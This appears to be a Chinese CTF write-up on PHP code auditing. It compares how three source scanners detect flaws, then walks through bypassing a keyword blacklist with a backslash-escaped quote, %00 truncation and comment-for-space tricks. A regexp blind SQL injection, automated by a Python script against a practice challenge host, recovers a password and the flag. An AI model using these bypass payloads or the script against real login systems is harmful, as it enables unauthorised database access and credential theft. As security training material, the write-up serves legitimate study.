源代码扫描效果查看
|
1XSS+1SQL注入 |
Seay |
无 |
Fortify |
2SQL注入+2XSS+3敏感数据泄漏 |
总的来看,我们可以知道面对SQL注入这种语法层面的漏洞特征,seay是无力的,它的特征都是针对特定的函数名的。因此在这一道主要重点考察SQL注入漏洞的CTF赛题的时候,seay颗粒无收。而rips和fortify都发现了SQL注入漏洞特征,其主要依据是SQL语句中包含有$_GET,$_POST所提交的数据。
接下来我们来看一下源码
可以看到下面一部分,在进行SQL请求的时候,将$_GET,$_POST所提交的数据直接拼接成SQL,因此这里肯定有SQL注入漏洞。但是在请求之前,通过black_list黑名单列表,对请求的参数值进行的检查。如果请求的数据包含有黑名单数据,那么就直接退出。因此这里主要考察的就是SQL注入的绕过问题。
其中黑名单为,不区分大小写,后台为MySQL数据库。
/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
当我们输入特征时,就会出现下面的报错
我们在本地简单调试一下,当输入username=123&passwd=123时
最终构成的SQL语句如下
"select * from users where username='123' and passwd='123'"
由于这里单引号在黑名单里,因此这里如果想要形成拼接的话,只有在username处输入为,使得第二个单引号被转义,从而在SQL语句层面中变成一个查询字符。
如果没有转义符号,会构成SQL层面的语法错误
到这里我们可以形成,大致如下的SQL语句,其中红色部分会被认为是一个字符串,并作为username的值。
"select * from users where username='123' and passwd='123'"
但是这里由于有3个单引号,SQL语法上还是有问题的,因此需要将最后字符字符处理掉,使其不在整个SQL语句的逻辑中。这里可以通过%00进行截断
可以看到,最后空字节%00成功隔绝了最后一个单引号,使得SQL语法不会报错。
这里我们注意,即使黑名单里有%00,但是%00会转成空字节,在进入index.php时,已经被转为空字节,所以不会匹配到黑名单
根据最后的代码逻辑,当我们输入的密码和数据库内的密码相同,就会将flag给打印出来,因此这里我们就需要利用SQL注入获取admin的密码
由于有黑名单过滤,这里可以通过regexp进行正则匹配注入,不断的去探测字符。
例如当想要探测用户名时,就可以通过正则不断匹配前面字符,当匹配到时,返回1,没匹配到,返回0
select user() regexp '^r'
同理这里就可以构造passwd字段的值为||passwd regexp "^r";%00
然后不断修改'^r'对应的字符,从而获取passwd的值,另外这里将空格也过滤掉了,通过注释符进行绕过,得到||passwd/**/regexp/**/"^r";%00
最终得到
当passwd/**/regexp/**/"^r";%00 为0时,显示为空,最终会打印<script>alert("try to make the sqlquery have its own results")</script>
而当||passwd/**/regexp/**/"^y";%00为1时,显示真实的账号密码
从而跳转到welcome.php页面。
根据这个特性,最终编写脚本进行自动化发现
import requests
import time
import string
url = "http://9b6213b7-4b4b-425b-8083-b30bb81d996c.node4.buuoj.cn:81/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
payload = ''
for n in range(100):
print(n)
for i in str_list:
data = {'username':'\', 'passwd':'||passwd/**/regexp/**/"^{}";x00'.format(payload+i)}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += i
print(payload)
break
elif res.status_code == 429:
time.sleep(1)
得到密码为you_will_never_know7788990
回到登录框,输入账号密码,账号随意,密码为you_will_never_know7788990
最终得到flag为
flag{f3fb8909-fd48-4ae0-8978-adcd84175f0e}
原文始发于微信公众号(第59号):php代码审计案例之SQLI
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论